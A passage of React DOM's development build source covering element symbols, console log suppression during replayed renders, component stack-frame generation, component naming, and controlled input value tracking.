838 }
839
840 if (attributeNamespace) {
841 node.setAttributeNS(attributeNamespace, attributeName, attributeValue);
842 } else {
843 node.setAttribute(attributeName, attributeValue);
844 }
845 }
846 }
847
848 // ATTENTION
849 // When adding new symbols to this file,
850 // Please consider also adding to 'react-devtools-shared/src/backend/ReactSymbols'
851 // The Symbol used to tag the ReactElement-like types.
852 var REACT_ELEMENT_TYPE = Symbol.for('react.element');
853 var REACT_PORTAL_TYPE = Symbol.for('react.portal');
854 var REACT_FRAGMENT_TYPE = Symbol.for('react.fragment');
855 var REACT_STRICT_MODE_TYPE = Symbol.for('react.strict_mode');
856 var REACT_PROFILER_TYPE = Symbol.for('react.profiler');
857 var REACT_PROVIDER_TYPE = Symbol.for('react.provider');
858 var REACT_CONTEXT_TYPE = Symbol.for('react.context');
859 var REACT_FORWARD_REF_TYPE = Symbol.for('react.forward_ref');
860 var REACT_SUSPENSE_TYPE = Symbol.for('react.suspense');
861 var REACT_SUSPENSE_LIST_TYPE = Symbol.for('react.suspense_list');
862 var REACT_MEMO_TYPE = Symbol.for('react.memo');
863 var REACT_LAZY_TYPE = Symbol.for('react.lazy');
864 var REACT_SCOPE_TYPE = Symbol.for('react.scope');
865 var REACT_DEBUG_TRACING_MODE_TYPE = Symbol.for('react.debug_trace_mode');
866 var REACT_OFFSCREEN_TYPE = Symbol.for('react.offscreen');
867 var REACT_LEGACY_HIDDEN_TYPE = Symbol.for('react.legacy_hidden');
868 var REACT_CACHE_TYPE = Symbol.for('react.cache');
869 var REACT_TRACING_MARKER_TYPE = Symbol.for('react.tracing_marker');
870 var MAYBE_ITERATOR_SYMBOL = Symbol.iterator;
871 var FAUX_ITERATOR_SYMBOL = '@@iterator';
872 function getIteratorFn(maybeIterable) {
873 if (maybeIterable === null || typeof maybeIterable !== 'object') {
874 return null;
875 }
876
877 var maybeIterator = MAYBE_ITERATOR_SYMBOL && maybeIterable[MAYBE_ITERATOR_SYMBOL] || maybeIterable[FAUX_ITERATOR_SYMBOL];
878
879 if (typeof maybeIterator === 'function') {
880 return maybeIterator;
881 }
882
883 return null;
884 }
885
886 var assign = Object.assign;
887
888 // Helpers to patch console.logs to avoid logging during side-effect free
889 // replaying on render function. This currently only patches the object
890 // lazily which won't cover if the log function was extracted eagerly.
891 // We could also eagerly patch the method.
892 var disabledDepth = 0;
893 var prevLog;
894 var prevInfo;
895 var prevWarn;
896 var prevError;
897 var prevGroup;
898 var prevGroupCollapsed;
899 var prevGroupEnd;
900
901 function disabledLog() {}
902
903 disabledLog.__reactDisabledLog = true;
904 function disableLogs() {
905 {
906 if (disabledDepth === 0) {
907 /* eslint-disable react-internal/no-production-logging */
908 prevLog = console.log;
909 prevInfo = console.info;
910 prevWarn = console.warn;
911 prevError = console.error;
912 prevGroup = console.group;
913 prevGroupCollapsed = console.groupCollapsed;
914 prevGroupEnd = console.groupEnd; // https://github.com/facebook/react/issues/19099
915
916 var props = {
917 configurable: true,
918 enumerable: true,
919 value: disabledLog,
920 writable: true
921 }; // $FlowFixMe Flow thinks console is immutable.
922
923 Object.defineProperties(console, {
924 info: props,
925 log: props,
926 warn: props,
927 error: props,
928 group: props,
929 groupCollapsed: props,
930 groupEnd: props
931 });
932 /* eslint-enable react-internal/no-production-logging */
933 }
934
935 disabledDepth++;
936 }
937 }
938 function reenableLogs() {
939 {
940 disabledDepth--;
941
942 if (disabledDepth === 0) {
943 /* eslint-disable react-internal/no-production-logging */
944 var props = {
945 configurable: true,
946 enumerable: true,
947 writable: true
948 }; // $FlowFixMe Flow thinks console is immutable.
949
950 Object.defineProperties(console, {
951 log: assign({}, props, {
952 value: prevLog
953 }),
954 info: assign({}, props, {
955 value: prevInfo
956 }),
957 warn: assign({}, props, {
958 value: prevWarn
959 }),
960 error: assign({}, props, {
961 value: prevError
962 }),
963 group: assign({}, props, {
964 value: prevGroup
965 }),
966 groupCollapsed: assign({}, props, {
967 value: prevGroupCollapsed
968 }),
969 groupEnd: assign({}, props, {
970 value: prevGroupEnd
971 })
972 });
973 /* eslint-enable react-internal/no-production-logging */
974 }
975
976 if (disabledDepth < 0) {
977 error('disabledDepth fell below zero. ' + 'This is a bug in React. Please file an issue.');
978 }
979 }
980 }
981
982 var ReactCurrentDispatcher = ReactSharedInternals.ReactCurrentDispatcher;
983 var prefix;
984 function describeBuiltInComponentFrame(name, source, ownerFn) {
985 {
986 if (prefix === undefined) {
987 // Extract the VM specific prefix used by each line.
988 try {
989 throw Error();
990 } catch (x) {
991 var match = x.stack.trim().match(/\n( *(at )?)/);
992 prefix = match && match[1] || '';
993 }
994 } // We use the prefix to ensure our stacks line up with native stack frames.
995
996
997 return '\n' + prefix + name;
998 }
999 }
1000 var reentry = false;
1001 var componentFrameCache;
1002
1003 {
1004 var PossiblyWeakMap = typeof WeakMap === 'function' ? WeakMap : Map;
1005 componentFrameCache = new PossiblyWeakMap();
1006 }
1007
1008 function describeNativeComponentFrame(fn, construct) {
1009 // If something asked for a stack inside a fake render, it should get ignored.
1010 if ( !fn || reentry) {
1011 return '';
1012 }
1013
1014 {
1015 var frame = componentFrameCache.get(fn);
1016
1017 if (frame !== undefined) {
1018 return frame;
1019 }
1020 }
1021
1022 var control;
1023 reentry = true;
1024 var previousPrepareStackTrace = Error.prepareStackTrace; // $FlowFixMe It does accept undefined.
1025
1026 Error.prepareStackTrace = undefined;
1027 var previousDispatcher;
1028
1029 {
1030 previousDispatcher = ReactCurrentDispatcher.current; // Set the dispatcher in DEV because this might be call in the render function
1031 // for warnings.
1032
1033 ReactCurrentDispatcher.current = null;
1034 disableLogs();
1035 }
1036
1037 try {
1038 // This should throw.
1039 if (construct) {
1040 // Something should be setting the props in the constructor.
1041 var Fake = function () {
1042 throw Error();
1043 }; // $FlowFixMe
1044
1045
1046 Object.defineProperty(Fake.prototype, 'props', {
1047 set: function () {
1048 // We use a throwing setter instead of frozen or non-writable props
1049 // because that won't throw in a non-strict mode function.
1050 throw Error();
1051 }
1052 });
1053
1054 if (typeof Reflect === 'object' && Reflect.construct) {
1055 // We construct a different control for this case to include any extra
1056 // frames added by the construct call.
1057 try {
1058 Reflect.construct(Fake, []);
1059 } catch (x) {
1060 control = x;
1061 }
1062
1063 Reflect.construct(fn, [], Fake);
1064 } else {
1065 try {
1066 Fake.call();
1067 } catch (x) {
1068 control = x;
1069 }
1070
1071 fn.call(Fake.prototype);
1072 }
1073 } else {
1074 try {
1075 throw Error();
1076 } catch (x) {
1077 control = x;
1078 }
1079
1080 fn();
1081 }
1082 } catch (sample) {
1083 // This is inlined manually because closure doesn't do it for us.
1084 if (sample && control && typeof sample.stack === 'string') {
1085 // This extracts the first frame from the sample that isn't also in the control.
1086 // Skipping one frame that we assume is the frame that calls the two.
1087 var sampleLines = sample.stack.split('\n');
1088 var controlLines = control.stack.split('\n');
1089 var s = sampleLines.length - 1;
1090 var c = controlLines.length - 1;
1091
1092 while (s >= 1 && c >= 0 && sampleLines[s] !== controlLines[c]) {
1093 // We expect at least one stack frame to be shared.
1094 // Typically this will be the root most one. However, stack frames may be
1095 // cut off due to maximum stack limits. In this case, one maybe cut off
1096 // earlier than the other. We assume that the sample is longer or the same
1097 // and there for cut off earlier. So we should find the root most frame in
1098 // the sample somewhere in the control.
1099 c--;
1100 }
1101
1102 for (; s >= 1 && c >= 0; s--, c--) {
1103 // Next we find the first one that isn't the same which should be the
1104 // frame that called our sample function and the control.
1105 if (sampleLines[s] !== controlLines[c]) {
1106 // In V8, the first line is describing the message but other VMs don't.
1107 // If we're about to return the first line, and the control is also on the same
1108 // line, that's a pretty good indicator that our sample threw at same line as
1109 // the control. I.e. before we entered the sample frame. So we ignore this result.
1110 // This can happen if you passed a class to function component, or non-function.
1111 if (s !== 1 || c !== 1) {
1112 do {
1113 s--;
1114 c--; // We may still have similar intermediate frames from the construct call.
1115 // The next one that isn't the same should be our match though.
1116
1117 if (c < 0 || sampleLines[s] !== controlLines[c]) {
1118 // V8 adds a "new" prefix for native classes. Let's remove it to make it prettier.
1119 var _frame = '\n' + sampleLines[s].replace(' at new ', ' at '); // If our component frame is labeled "<anonymous>"
1120 // but we have a user-provided "displayName"
1121 // splice it in to make the stack more readable.
1122
1123
1124 if (fn.displayName && _frame.includes('<anonymous>')) {
1125 _frame = _frame.replace('<anonymous>', fn.displayName);
1126 }
1127
1128 {
1129 if (typeof fn === 'function') {
1130 componentFrameCache.set(fn, _frame);
1131 }
1132 } // Return the line we found.
1133
1134
1135 return _frame;
1136 }
1137 } while (s >= 1 && c >= 0);
1138 }
1139
1140 break;
1141 }
1142 }
1143 }
1144 } finally {
1145 reentry = false;
1146
1147 {
1148 ReactCurrentDispatcher.current = previousDispatcher;
1149 reenableLogs();
1150 }
1151
1152 Error.prepareStackTrace = previousPrepareStackTrace;
1153 } // Fallback to just using the name if we couldn't make it throw.
1154
1155
1156 var name = fn ? fn.displayName || fn.name : '';
1157 var syntheticFrame = name ? describeBuiltInComponentFrame(name) : '';
1158
1159 {
1160 if (typeof fn === 'function') {
1161 componentFrameCache.set(fn, syntheticFrame);
1162 }
1163 }
1164
1165 return syntheticFrame;
1166 }
1167
1168 function describeClassComponentFrame(ctor, source, ownerFn) {
1169 {
1170 return describeNativeComponentFrame(ctor, true);
1171 }
1172 }
1173 function describeFunctionComponentFrame(fn, source, ownerFn) {
1174 {
1175 return describeNativeComponentFrame(fn, false);
1176 }
1177 }
1178
1179 function shouldConstruct(Component) {
1180 var prototype = Component.prototype;
1181 return !!(prototype && prototype.isReactComponent);
1182 }
1183
1184 function describeUnknownElementTypeFrameInDEV(type, source, ownerFn) {
1185
1186 if (type == null) {
1187 return '';
1188 }
1189
1190 if (typeof type === 'function') {
1191 {
1192 return describeNativeComponentFrame(type, shouldConstruct(type));
1193 }
1194 }
1195
1196 if (typeof type === 'string') {
1197 return describeBuiltInComponentFrame(type);
1198 }
1199
1200 switch (type) {
1201 case REACT_SUSPENSE_TYPE:
1202 return describeBuiltInComponentFrame('Suspense');
1203
1204 case REACT_SUSPENSE_LIST_TYPE:
1205 return describeBuiltInComponentFrame('SuspenseList');
1206 }
1207
1208 if (typeof type === 'object') {
1209 switch (type.$$typeof) {
1210 case REACT_FORWARD_REF_TYPE:
1211 return describeFunctionComponentFrame(type.render);
1212
1213 case REACT_MEMO_TYPE:
1214 // Memo may contain any component type so we recursively resolve it.
1215 return describeUnknownElementTypeFrameInDEV(type.type, source, ownerFn);
1216
1217 case REACT_LAZY_TYPE:
1218 {
1219 var lazyComponent = type;
1220 var payload = lazyComponent._payload;
1221 var init = lazyComponent._init;
1222
1223 try {
1224 // Lazy may contain any component type so we recursively resolve it.
1225 return describeUnknownElementTypeFrameInDEV(init(payload), source, ownerFn);
1226 } catch (x) {}
1227 }
1228 }
1229 }
1230
1231 return '';
1232 }
1233
1234 function describeFiber(fiber) {
1235 var owner = fiber._debugOwner ? fiber._debugOwner.type : null ;
1236 var source = fiber._debugSource ;
1237
1238 switch (fiber.tag) {
1239 case HostComponent:
1240 return describeBuiltInComponentFrame(fiber.type);
1241
1242 case LazyComponent:
1243 return describeBuiltInComponentFrame('Lazy');
1244
1245 case SuspenseComponent:
1246 return describeBuiltInComponentFrame('Suspense');
1247
1248 case SuspenseListComponent:
1249 return describeBuiltInComponentFrame('SuspenseList');
1250
1251 case FunctionComponent:
1252 case IndeterminateComponent:
1253 case SimpleMemoComponent:
1254 return describeFunctionComponentFrame(fiber.type);
1255
1256 case ForwardRef:
1257 return describeFunctionComponentFrame(fiber.type.render);
1258
1259 case ClassComponent:
1260 return describeClassComponentFrame(fiber.type);
1261
1262 default:
1263 return '';
1264 }
1265 }
1266
1267 function getStackByFiberInDevAndProd(workInProgress) {
1268 try {
1269 var info = '';
1270 var node = workInProgress;
1271
1272 do {
1273 info += describeFiber(node);
1274 node = node.return;
1275 } while (node);
1276
1277 return info;
1278 } catch (x) {
1279 return '\nError generating stack: ' + x.message + '\n' + x.stack;
1280 }
1281 }
1282
1283 function getWrappedName(outerType, innerType, wrapperName) {
1284 var displayName = outerType.displayName;
1285
1286 if (displayName) {
1287 return displayName;
1288 }
1289
1290 var functionName = innerType.displayName || innerType.name || '';
1291 return functionName !== '' ? wrapperName + "(" + functionName + ")" : wrapperName;
1292 } // Keep in sync with react-reconciler/getComponentNameFromFiber
1293
1294
1295 function getContextName(type) {
1296 return type.displayName || 'Context';
1297 } // Note that the reconciler package should generally prefer to use getComponentNameFromFiber() instead.
1298
1299
1300 function getComponentNameFromType(type) {
1301 if (type == null) {
1302 // Host root, text node or just invalid type.
1303 return null;
1304 }
1305
1306 {
1307 if (typeof type.tag === 'number') {
1308 error('Received an unexpected object in getComponentNameFromType(). ' + 'This is likely a bug in React. Please file an issue.');
1309 }
1310 }
1311
1312 if (typeof type === 'function') {
1313 return type.displayName || type.name || null;
1314 }
1315
1316 if (typeof type === 'string') {
1317 return type;
1318 }
1319
1320 switch (type) {
1321 case REACT_FRAGMENT_TYPE:
1322 return 'Fragment';
1323
1324 case REACT_PORTAL_TYPE:
1325 return 'Portal';
1326
1327 case REACT_PROFILER_TYPE:
1328 return 'Profiler';
1329
1330 case REACT_STRICT_MODE_TYPE:
1331 return 'StrictMode';
1332
1333 case REACT_SUSPENSE_TYPE:
1334 return 'Suspense';
1335
1336 case REACT_SUSPENSE_LIST_TYPE:
1337 return 'SuspenseList';
1338
1339 }
1340
1341 if (typeof type === 'object') {
1342 switch (type.$$typeof) {
1343 case REACT_CONTEXT_TYPE:
1344 var context = type;
1345 return getContextName(context) + '.Consumer';
1346
1347 case REACT_PROVIDER_TYPE:
1348 var provider = type;
1349 return getContextName(provider._context) + '.Provider';
1350
1351 case REACT_FORWARD_REF_TYPE:
1352 return getWrappedName(type, type.render, 'ForwardRef');
1353
1354 case REACT_MEMO_TYPE:
1355 var outerName = type.displayName || null;
1356
1357 if (outerName !== null) {
1358 return outerName;
1359 }
1360
1361 return getComponentNameFromType(type.type) || 'Memo';
1362
1363 case REACT_LAZY_TYPE:
1364 {
1365 var lazyComponent = type;
1366 var payload = lazyComponent._payload;
1367 var init = lazyComponent._init;
1368
1369 try {
1370 return getComponentNameFromType(init(payload));
1371 } catch (x) {
1372 return null;
1373 }
1374 }
1375
1376 // eslint-disable-next-line no-fallthrough
1377 }
1378 }
1379
1380 return null;
1381 }
1382
1383 function getWrappedName$1(outerType, innerType, wrapperName) {
1384 var functionName = innerType.displayName || innerType.name || '';
1385 return outerType.displayName || (functionName !== '' ? wrapperName + "(" + functionName + ")" : wrapperName);
1386 } // Keep in sync with shared/getComponentNameFromType
1387
1388
1389 function getContextName$1(type) {
1390 return type.displayName || 'Context';
1391 }
1392
1393 function getComponentNameFromFiber(fiber) {
1394 var tag = fiber.tag,
1395 type = fiber.type;
1396
1397 switch (tag) {
1398 case CacheComponent:
1399 return 'Cache';
1400
1401 case ContextConsumer:
1402 var context = type;
1403 return getContextName$1(context) + '.Consumer';
1404
1405 case ContextProvider:
1406 var provider = type;
1407 return getContextName$1(provider._context) + '.Provider';
1408
1409 case DehydratedFragment:
1410 return 'DehydratedFragment';
1411
1412 case ForwardRef:
1413 return getWrappedName$1(type, type.render, 'ForwardRef');
1414
1415 case Fragment:
1416 return 'Fragment';
1417
1418 case HostComponent:
1419 // Host component type is the display name (e.g. "div", "View")
1420 return type;
1421
1422 case HostPortal:
1423 return 'Portal';
1424
1425 case HostRoot:
1426 return 'Root';
1427
1428 case HostText:
1429 return 'Text';
1430
1431 case LazyComponent:
1432 // Name comes from the type in this case; we don't have a tag.
1433 return getComponentNameFromType(type);
1434
1435 case Mode:
1436 if (type === REACT_STRICT_MODE_TYPE) {
1437 // Don't be less specific than shared/getComponentNameFromType
1438 return 'StrictMode';
1439 }
1440
1441 return 'Mode';
1442
1443 case OffscreenComponent:
1444 return 'Offscreen';
1445
1446 case Profiler:
1447 return 'Profiler';
1448
1449 case ScopeComponent:
1450 return 'Scope';
1451
1452 case SuspenseComponent:
1453 return 'Suspense';
1454
1455 case SuspenseListComponent:
1456 return 'SuspenseList';
1457
1458 case TracingMarkerComponent:
1459 return 'TracingMarker';
1460 // The display name for this tags come from the user-provided type:
1461
1462 case ClassComponent:
1463 case FunctionComponent:
1464 case IncompleteClassComponent:
1465 case IndeterminateComponent:
1466 case MemoComponent:
1467 case SimpleMemoComponent:
1468 if (typeof type === 'function') {
1469 return type.displayName || type.name || null;
1470 }
1471
1472 if (typeof type === 'string') {
1473 return type;
1474 }
1475
1476 break;
1477
1478 }
1479
1480 return null;
1481 }
1482
1483 var ReactDebugCurrentFrame = ReactSharedInternals.ReactDebugCurrentFrame;
1484 var current = null;
1485 var isRendering = false;
1486 function getCurrentFiberOwnerNameInDevOrNull() {
1487 {
1488 if (current === null) {
1489 return null;
1490 }
1491
1492 var owner = current._debugOwner;
1493
1494 if (owner !== null && typeof owner !== 'undefined') {
1495 return getComponentNameFromFiber(owner);
1496 }
1497 }
1498
1499 return null;
1500 }
1501
1502 function getCurrentFiberStackInDev() {
1503 {
1504 if (current === null) {
1505 return '';
1506 } // Safe because if current fiber exists, we are reconciling,
1507 // and it is guaranteed to be the work-in-progress version.
1508
1509
1510 return getStackByFiberInDevAndProd(current);
1511 }
1512 }
1513
1514 function resetCurrentFiber() {
1515 {
1516 ReactDebugCurrentFrame.getCurrentStack = null;
1517 current = null;
1518 isRendering = false;
1519 }
1520 }
1521 function setCurrentFiber(fiber) {
1522 {
1523 ReactDebugCurrentFrame.getCurrentStack = fiber === null ? null : getCurrentFiberStackInDev;
1524 current = fiber;
1525 isRendering = false;
1526 }
1527 }
1528 function getCurrentFiber() {
1529 {
1530 return current;
1531 }
1532 }
1533 function setIsRendering(rendering) {
1534 {
1535 isRendering = rendering;
1536 }
1537 }
1538
1539 // Flow does not allow string concatenation of most non-string types. To work
1540 // around this limitation, we use an opaque type that can only be obtained by
1541 // passing the value through getToStringValue first.
1542 function toString(value) {
1543 // The coercion safety check is performed in getToStringValue().
1544 // eslint-disable-next-line react-internal/safe-string-coercion
1545 return '' + value;
1546 }
1547 function getToStringValue(value) {
1548 switch (typeof value) {
1549 case 'boolean':
1550 case 'number':
1551 case 'string':
1552 case 'undefined':
1553 return value;
1554
1555 case 'object':
1556 {
1557 checkFormFieldValueStringCoercion(value);
1558 }
1559
1560 return value;
1561
1562 default:
1563 // function, symbol are assigned as empty strings
1564 return '';
1565 }
1566 }
1567
1568 var hasReadOnlyValue = {
1569 button: true,
1570 checkbox: true,
1571 image: true,
1572 hidden: true,
1573 radio: true,
1574 reset: true,
1575 submit: true
1576 };
1577 function checkControlledValueProps(tagName, props) {
1578 {
1579 if (!(hasReadOnlyValue[props.type] || props.onChange || props.onInput || props.readOnly || props.disabled || props.value == null)) {
1580 error('You provided a `value` prop to a form field without an ' + '`onChange` handler. This will render a read-only field. If ' + 'the field should be mutable use `defaultValue`. Otherwise, ' + 'set either `onChange` or `readOnly`.');
1581 }
1582
1583 if (!(props.onChange || props.readOnly || props.disabled || props.checked == null)) {
1584 error('You provided a `checked` prop to a form field without an ' + '`onChange` handler. This will render a read-only field. If ' + 'the field should be mutable use `defaultChecked`. Otherwise, ' + 'set either `onChange` or `readOnly`.');
1585 }
1586 }
1587 }
1588
1589 function isCheckable(elem) {
1590 var type = elem.type;
1591 var nodeName = elem.nodeName;
1592 return nodeName && nodeName.toLowerCase() === 'input' && (type === 'checkbox' || type === 'radio');
1593 }
1594
1595 function getTracker(node) {
1596 return node._valueTracker;
1597 }
1598
1599 function detachTracker(node) {
1600 node._valueTracker = null;
1601 }
1602
1603 function getValueFromNode(node) {
1604 var value = '';
1605
1606 if (!node) {
1607 return value;
1608 }
1609
1610 if (isCheckable(node)) {
1611 value = node.checked ? 'true' : 'false';
1612 } else {
1613 value = node.value;
1614 }
1615
1616 return value;
1617 }
1618
1619 function trackValueOnNode(node) {
1620 var valueField = isCheckable(node) ? 'checked' : 'value';
1621 var descriptor = Object.getOwnPropertyDescriptor(node.constructor.prototype, valueField);
1622
1623 {
1624 checkFormFieldValueStringCoercion(node[valueField]);
1625 }
1626
1627 var currentValue = '' + node[valueField]; // if someone has already defined a value or Safari, then bail
1628 // and don't track value will cause over reporting of changes,
1629 // but it's better then a hard failure
1630 // (needed for certain tests that spyOn input values and Safari)
1631
1632 if (node.hasOwnProperty(valueField) || typeof descriptor === 'undefined' || typeof descriptor.get !== 'function' || typeof descriptor.set !== 'function') {
1633 return;
1634 }
1635
1636 var get = descriptor.get,
1637 set = descriptor.set;
1638 Object.defineProperty(node, valueField, {
1639 configurable: true,
1640 get: function () {
1641 return get.call(this);
1642 },
1643 set: function (value) {
1644 {
1645 checkFormFieldValueStringCoercion(value);
1646 }
1647
1648 currentValue = '' + value;
1649 set.call(this, value);
1650 }
1651 }); // We could've passed this the first time
1652 // but it triggers a bug in IE11 and Edge 14/15.
1653 // Calling defineProperty() again should be equivalent.
1654 // https://github.com/facebook/react/issues/11768
1655
1656 Object.defineProperty(node, valueField, {
1657 enumerable: descriptor.enumerable
1658 });
1659 var tracker = {
1660 getValue: function () {
1661 return currentValue;
1662 },
1663 setValue: function (value) {
1664 {
1665 checkFormFieldValueStringCoercion(value);
1666 }
1667
1668 currentValue = '' + value;
1669 },
1670 stopTracking: function () {
1671 detachTracker(node);
1672 delete node[valueField];
1673 }
1674 };
1675 return tracker;
1676 }
1677
1678 function track(node) {
1679 if (getTracker(node)) {
1680 return;
1681 } // TODO: Once it's just Fiber we can move this to node._wrapperState
1682
1683
1684 node._valueTracker = trackValueOnNode(node);
1685 }
1686 function updateValueIfChanged(node) {
1687 if (!node) {
1688 return false;
1689 }
1690
1691 var tracker = getTracker(node); // if there is no tracker at this point it's unlikely
1692 // that trying again will succeed
1693
1694 if (!tracker) {
1695 return true;
1696 }
1697
1698 var lastValue = tracker.getValue();
1699 var nextValue = getValueFromNode(node);
1700
1701 if (nextValue !== lastValue) {
1702 tracker.setValue(nextValue);
1703 return true;
1704 }
1705
1706 return false;
1707 }
1708
1709 function getActiveElement(doc) {
1710 doc = doc || (typeof document !== 'undefined' ? document : undefined);
1711
1712 if (typeof doc === 'undefined') {
1713 return null;
1714 }
1715
1716 try {
1717 return doc.activeElement || doc.body;
1718 } catch (e) {
1719 return doc.body;
1720 }
1721 }
1722
1723 var didWarnValueDefaultValue = false;
1724 var didWarnCheckedDefaultChecked = false;
1725 var didWarnControlledToUncontrolled = false;
1726 var didWarnUncontrolledToControlled = false;
1727
1728 function isControlled(props) {
1729 var usesChecked = props.type === 'checkbox' || props.type === 'radio';
1730 return usesChecked ? props.checked != null : props.value != null;
1731 }
1732 /**
1733 * Implements an <input> host component that allows setting these optional
1734 * props: `checked`, `value`, `defaultChecked`, and `defaultValue`.
1735 *
1736 * If `checked` or `value` are not supplied (or null/undefined), user actions
1737 * that affect the checked state or value will trigger updates to the element.
1738 *
1739 * If they are supplied (and not null/undefined), the rendered element will not
1740 * trigger updates to the element. Instead, the props must change in order for
1741 * the rendered element to be updated.
1742 *
1743 * The rendered element will be initialized as unchecked (or `defaultChecked`)
1744 * with an empty value (or `defaultValue`).
1745 *
1746 * See http://www.w3.org/TR/2012/WD-html5-20121025/the-input-element.html
1747 */
1748
1749
1750 function getHostProps(element, props) {
1751 var node = element;
1752 var checked = props.checked;
1753 var hostProps = assign({}, props, {
1754 defaultChecked: undefined,
1755 defaultValue: undefined,
1756 value: undefined,
1757 checked: checked != null ? checked : node._wrapperState.initialChecked
1758 });
1759 return hostProps;
1760 }
1761 function initWrapperState(element, props) {
1762 {
1763 checkControlledValueProps('input', props);
1764
1765 if (props.checked !== undefined && props.defaultChecked !== undefined && !didWarnCheckedDefaultChecked) {
1766 error('%s contains an input of type %s with both checked and defaultChecked props. ' + 'Input elements must be either controlled or uncontrolled ' + '(specify either the checked prop, or the defaultChecked prop, but not ' + 'both). Decide between using a controlled or uncontrolled input ' + 'element and remove one of these props. More info: ' + 'https://reactjs.org/link/controlled-components', getCurrentFiberOwnerNameInDevOrNull() || 'A component', props.type);
1767
1768 didWarnCheckedDefaultChecked = true;
1769 }
1770
1771 if (props.value !== undefined && props.defaultValue !== undefined && !didWarnValueDefaultValue) {
1772 error('%s contains an input of type %s with both value and defaultValue props. ' + 'Input elements must be either controlled or uncontrolled ' + '(specify either the value prop, or the defaultValue prop, but not ' + 'both). Decide between using a controlled or uncontrolled input ' + 'element and remove one of these props. More info: ' + 'https://reactjs.org/link/controlled-components', getCurrentFiberOwnerNameInDevOrNull() || 'A component', props.type);
1773
1774 didWarnValueDefaultValue = true;
1775 }
1776 }
1777
1778 var node = element;
1779 var defaultValue = props.defaultValue == null ? '' : props.defaultValue;
1780 node._wrapperState = {
1781 initialChecked: props.checked != null ? props.checked : props.defaultChecked,
1782 initialValue: getToStringValue(props.value != null ? props.value : defaultValue),
1783 controlled: isControlled(props)
1784 };
1785 }
1786 function updateChecked(element, props) {
1787 var node = element;
1788 var checked = props.checked;
1789
1790 if (checked != null) {
1791 setValueForProperty(node, 'checked', checked, false);
1792 }
1793 }
1794 function updateWrapper(element, props) {
1795 var node = element;
1796
1797 {
1798 var controlled = isControlled(props);
1799
1800 if (!node._wrapperState.controlled && controlled && !didWarnUncontrolledToControlled) {
1801 error('A component is changing an uncontrolled input to be controlled. ' + 'This is likely caused by the value changing from undefined to ' + 'a defined value, which should not happen. ' + 'Decide between using a controlled or uncontrolled input ' + 'element for the lifetime of the component. More info: https://reactjs.org/link/controlled-components');
1802
1803 didWarnUncontrolledToControlled = true;
1804 }
1805
1806 if (node._wrapperState.controlled && !controlled && !didWarnControlledToUncontrolled) {
1807 error('A component is changing a controlled input to be uncontrolled. ' + 'This is likely caused by the value changing from a defined to ' + 'undefined, which should not happen. ' + 'Decide between using a controlled or uncontrolled input ' + 'element for the lifetime of the component. More info: https://reactjs.org/link/controlled-components');
1808
1809 didWarnControlledToUncontrolled = true;
1810 }
1811 }
1812
1813 updateChecked(element, props);
1814 var value = getToStringValue(props.value);
1815 var type = props.type;
1816
1817 if (value != null) {
1818 if (type === 'number') {
1819 if (value === 0 && node.value === '' || // We explicitly want to coerce to number here if possible.
1820 // eslint-disable-next-line
1821 node.value != value) {
1822 node.value = toString(value);
1823 }
1824 } else if (node.value !== toString(value)) {
1825 node.value = toString(value);
1826 }
1827 } else if (type === 'submit' || type === 'reset') {
1828 // Submit/reset inputs need the attribute removed completely to avoid
1829 // blank-text buttons.
1830 node.removeAttribute('value');
1831 return;
1832 }
1833
1834 {
1835 // When syncing the value attribute, the value comes from a cascade of
1836 // properties:
1837 // 1. The value React property
1838 // 2. The defaultValue React property
1839 // 3. Otherwise there should be no change
1840 if (props.hasOwnProperty('value')) {
1841 setDefaultValue(node, props.type, value);
1842 } else if (props.hasOwnProperty('defaultValue')) {
1843 setDefaultValue(node, props.type, getToStringValue(props.defaultValue));
1844 }
1845 }
1846
1847 {
1848 // When syncing the checked attribute, it only changes when it needs
1849 // to be removed, such as transitioning from a checkbox into a text input
1850 if (props.checked == null && props.defaultChecked != null) {
1851 node.defaultChecked = !!props.defaultChecked;
1852 }
1853 }
1854 }
1855 function postMountWrapper(element, props, isHydrating) {
1856 var node = element; // Do not assign value if it is already set. This prevents user text input
1857 // from being lost during SSR hydration.
1858
1859 if (props.hasOwnProperty('value') || props.hasOwnProperty('defaultValue')) {
1860 var type = props.type;
1861 var isButton = type === 'submit' || type === 'reset'; // Avoid setting value attribute on submit/reset inputs as it overrides the
1862 // default value provided by the browser. See: #12872
1863
1864 if (isButton && (props.value === undefined || props.value === null)) {
1865 return;
1866 }
1867
1868 var initialValue = toString(node._wrapperState.initialValue); // Do not assign value if it is already set. This prevents user text input
1869 // from being lost during SSR hydration.
1870
1871 if (!isHydrating) {
1872 {
1873 // When syncing the value attribute, the value property should use
1874 // the wrapperState._initialValue property. This uses:
1875 //
1876 // 1. The value React property when present
1877 // 2. The defaultValue React property when present
1878 // 3. An empty string
1879 if (initialValue !== node.value) {
1880 node.value = initialValue;
1881 }
1882 }
1883 }
1884
1885 {
1886 // Otherwise, the value attribute is synchronized to the property,
1887 // so we assign defaultValue to the same thing as the value property
1888 // assignment step above.
1889 node.defaultValue = initialValue;
1890 }
1891 } // Normally, we'd just do `node.checked = node.checked` upon initial mount, less this bug
1892 // this is needed to work around a chrome bug where setting defaultChecked
1893 // will sometimes influence the value of checked (even after detachment).
1894 // Reference: https://bugs.chromium.org/p/chromium/issues/detail?id=608416
1895 // We need to temporarily unset name to avoid disrupting radio button groups.
1896
1897
1898 var name = node.name;
1899
1900 if (name !== '') {
1901 node.name = '';
1902 }
1903
1904 {
1905 // When syncing the checked attribute, both the checked property and
1906 // attribute are assigned at the same time using defaultChecked. This uses:
1907 //
1908 // 1. The checked React property when present
1909 // 2. The defaultChecked React property when present
1910 // 3. Otherwise, false
1911 node.defaultChecked = !node.defaultChecked;
1912 node.defaultChecked = !!node._wrapperState.initialChecked;
1913 }
1914
1915 if (name !== '') {
1916 node.name = name;
1917 }
1918 }
1919 function restoreControlledState(element, props) {
1920 var node = element;
1921 updateWrapper(node, props);
1922 updateNamedCousins(node, props);
1923 }
1924
1925 function updateNamedCousins(rootNode, props) {
1926 var name = props.name;
1927
1928 if (props.type === 'radio' && name != null) {
1929 var queryRoot = rootNode;
1930
1931 while (queryRoot.parentNode) {
1932 queryRoot = queryRoot.parentNode;
1933 } // If `rootNode.form` was non-null, then we could try `form.elements`,
1934 // but that sometimes behaves strangely in IE8. We could also try using
1935 // `form.getElementsByName`, but that will only return direct children
1936 // and won't include inputs that use the HTML5 `form=` attribute. Since
1937 // the input might not even be in a form. It might not even be in the
1938 // document. Let's just use the local `querySelectorAll` to ensure we don't
1939 // miss anything.
1940
1941
1942 {
1943 checkAttributeStringCoercion(name, 'name');
1944 }
1945
